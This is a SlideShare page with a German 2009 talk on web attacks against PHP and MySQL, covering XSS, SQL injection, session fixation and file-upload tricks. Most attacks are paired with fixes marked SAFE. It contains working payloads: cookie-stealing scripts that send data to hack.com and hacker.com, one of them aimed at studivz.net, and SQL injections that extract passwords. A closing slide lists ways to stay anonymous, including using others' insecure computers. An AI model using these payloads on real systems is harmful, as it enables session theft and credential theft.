> >  webHacks am Beispiel PHP & MySQL   Referent:  Torben Brodt   Datum: 26.03.2009   Veranstalter: plista.com GmbH
webHacks  >  Inhalt <ul><li>Übersicht
Paris Hilton Bug
XSS
SQL Injections </li></ul>5.  Session Stealing 6.   File Inclusion 7.   Technikausblick 8.   Literatur <ul><li>Übersicht
Paris Hilton Bug
XSS
SQL Injections </li></ul>  Referent:  Torben Brodt   Datum: 26.03.2009   Veranstalter: plista.com GmbH
webHacks  >  Übersicht <ul><li>BufferOverflows und andere Schwachstellen, wie man sie von Desktopapplikationen kennt sind ...
Aktuelle Lücken in Websoftware, siehe Graph [1]
Oft in Kombination genutzt </li></ul>1 /8
webHacks  >  Paris Hilton Bug <ul><li>Paris' Account wurde gehackt, weil sie bei der &quot;Passwort-vergessen-Frage&quot; ...
Dieser lässt sich mit einfacher
Nächste SlideShare
Wird geladen in …5
×

Webhacks am Beispiel PHP + MySQL

81.134 Aufrufe

Veröffentlicht am

Paris Hilton Bug
XSS
SQL Injections
Session Stealing
File Inclusion
Technikausblick
Literatur

Veröffentlicht in: Bildung
0 Kommentare
2 Gefällt mir
Statistik
Notizen
  • Als Erste(r) kommentieren

Keine Downloads
Aufrufe
Aufrufe insgesamt
81.134
Auf SlideShare
0
Aus Einbettungen
0
Anzahl an Einbettungen
10
Aktionen
Geteilt
0
Downloads
25
Kommentare
0
Gefällt mir
2
Einbettungen 0
Keine Einbettungen

Keine Notizen für die Folie

Webhacks am Beispiel PHP + MySQL

  1. 1. > > webHacks am Beispiel PHP & MySQL Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  2. 2. webHacks > Inhalt <ul><li>Übersicht
  3. 3. Paris Hilton Bug
  4. 4. XSS
  5. 5. SQL Injections </li></ul>5. Session Stealing 6. File Inclusion 7. Technikausblick 8. Literatur <ul><li>Übersicht
  6. 6. Paris Hilton Bug
  7. 7. XSS
  8. 8. SQL Injections </li></ul> Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  9. 9. webHacks > Übersicht <ul><li>BufferOverflows und andere Schwachstellen, wie man sie von Desktopapplikationen kennt sind im Web kaum kritisch.
  10. 10. Aktuelle Lücken in Websoftware, siehe Graph [1]
  11. 11. Oft in Kombination genutzt </li></ul>1 /8
  12. 12. webHacks > Paris Hilton Bug <ul><li>Paris' Account wurde gehackt, weil sie bei der &quot;Passwort-vergessen-Frage&quot; die Frage nach dem Namen ihres Hundes wählte.
  13. 13. Dieser lässt sich mit einfacher
  14. 14. Google Recherche herausfinden
  15. 15. Mangelndes Sicherheitsbewusstsein
  16. 16. gibt es sowohl auf Konsumenten
  17. 17. als auch auf Endkunden-Seite
  18. 18. Beispiele u.a. Paymentanbieter </li></ul>2 /8
  19. 19. webHacks > XSS (1) <ul><li>XSS = ”Cross Site Scripting”
  20. 20. Angreifer manipuliert Webseite mit Client-Script (JS,...)
  21. 21. z.B. durch search.php?q=<img src=”paris...” />
  22. 22. Nutzen? Session ID kann ausgelesen werden – dadurch kann Person2 die Identität annehmen
  23. 23. Beispiel </li></ul>3 /8 <ul><script>document.write(&quot;<img src=http://hack.com/” + document.cookie + “>”)</script> </ul>
  24. 24. webHacks > XSS (2) <ul><li>Den Login einer anderen Seite erfahren
  25. 25. Dort kann davon ausgegangen werden dass der benutzer noch angemeldet ist
  26. 26. Beispiel: studivz gruppenseite verlinkt auf eigene Seite – und wird von dort zurück geleitet
  27. 27. Beispiel </li></ul>3 /8 <ul><script>document.location='http://studivz.net/?supersearch=<script>document. write(&quot;<img src=http://hacker.com/&quot; + document.cookie + &quot;>&quot;)</script>'</script> </ul>
  28. 28. webHacks > SQL Injections (1) <ul><li>Geschützte Informationen auslesen
  29. 29. Beispiel: Produktkatalog </li></ul>4 /8 $res = mysql_query('SELECT titel FROM category WHERE name = ”'.$_GET['q'].'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=” UNION SELECT password AS titel FROM users WHERE ”a” = ”a $res = mysql_query(...WHERE name = ”'.mysql_real_escape_string($_GET['q']).'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } SAFE
  30. 30. webHacks > SQL Injections (2) <ul><li>Geschützte Informationen auslesen
  31. 31. Beispiel: Produktkatalog (mit Integer) </li></ul>4 /8 $res = mysql_query('SELECT titel FROM category WHERE id = '.mysql_real_escape_string($_GET['q'])); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=0 UNION SELECT password AS titel FROM users $res = mysql_query('SELECT titel FROM category WHERE id = '.intval($_GET['q'])); SAFE
  32. 32. webHacks > SQL Injections (3) <ul><li>Beispiel: Newsletter abbestellen
  33. 33. Wäre die 10 eine austauschbare Variable könnte man die Aktion durch ” 1 OR 1 ” für alle übernehmen </li></ul>4 /8 mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10'); newsletter.php?news=0,pwd=(SELECT pwd FROM user WHERE userid=1)
  34. 34. webHacks > Session Stealing <ul><li>Szenario: </li><ul><li>Angreifer ruft Anwendung als anonymer Nutzer und erhält Session 123.
  35. 35. Angreifer gestaltet damit speziellen Link. Diesen lässt er dem Opfer zukommen.
  36. 36. Opfer verwendet Link, um zur Anwendung zu gelangen. Meldet sich an.
  37. 37. Anwendung übernimmt Sessionkennung und ordnet dieser den korrekt Login zu
  38. 38. Auch der Angreifer kann diese Session nutzen, da HTTP zustandslos </li></ul><li>Demo: Session VS Referer </li></ul>5 /8
  39. 39. webHacks > File Inclusion <ul><li>Dateiname kann nullterminiert werden
  40. 40. Dadurch wird der Regex passiert, aber der Dateiname im Filesystem wird abgeschnitten </li></ul>6 /8 if(preg_match('/.(png|gif|jpg)$/', $_FILES['img']['name'])) { move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']); echo &quot;upload success&quot;; } … POST Request Manipulation Content-Disposition: form-data; name=&quot;img&quot;; filename=&quot;hack.php.png&quot; Content-Type: image/jpeg Content-Transfer-Encoding: binary
  41. 41. webHacks > Technikausblick <ul><li>Phishing? E-Mail Header Manipulation?
  42. 42. Vorsicht durch Versionsunterdrückung.
  43. 43. Wie Anonym bleiben? </li><ul><li>google link einbauen
  44. 44. onion ring network (tor)
  45. 45. remote login (vpn)
  46. 46. Andere unsichere Rechner benutzen </li></ul><ul><li>--- THE END ---
  47. 47. Diskussion + Fragen + Erfahrungen </li></ul></ul>7 /8
  48. 48. webHacks > Literatur 8 /8 <ul><li>[1] http://www.easy-coding.de/vortrag-sicherheitsluecken-in-websoftware-t4236.html
  49. 49. [2] http://www.easy-coding.de/php-und-sicherheit-teil-1-sessions-t6000.html
  50. 50. [3] http://www.erich-kachel.de/ </li></ul>

×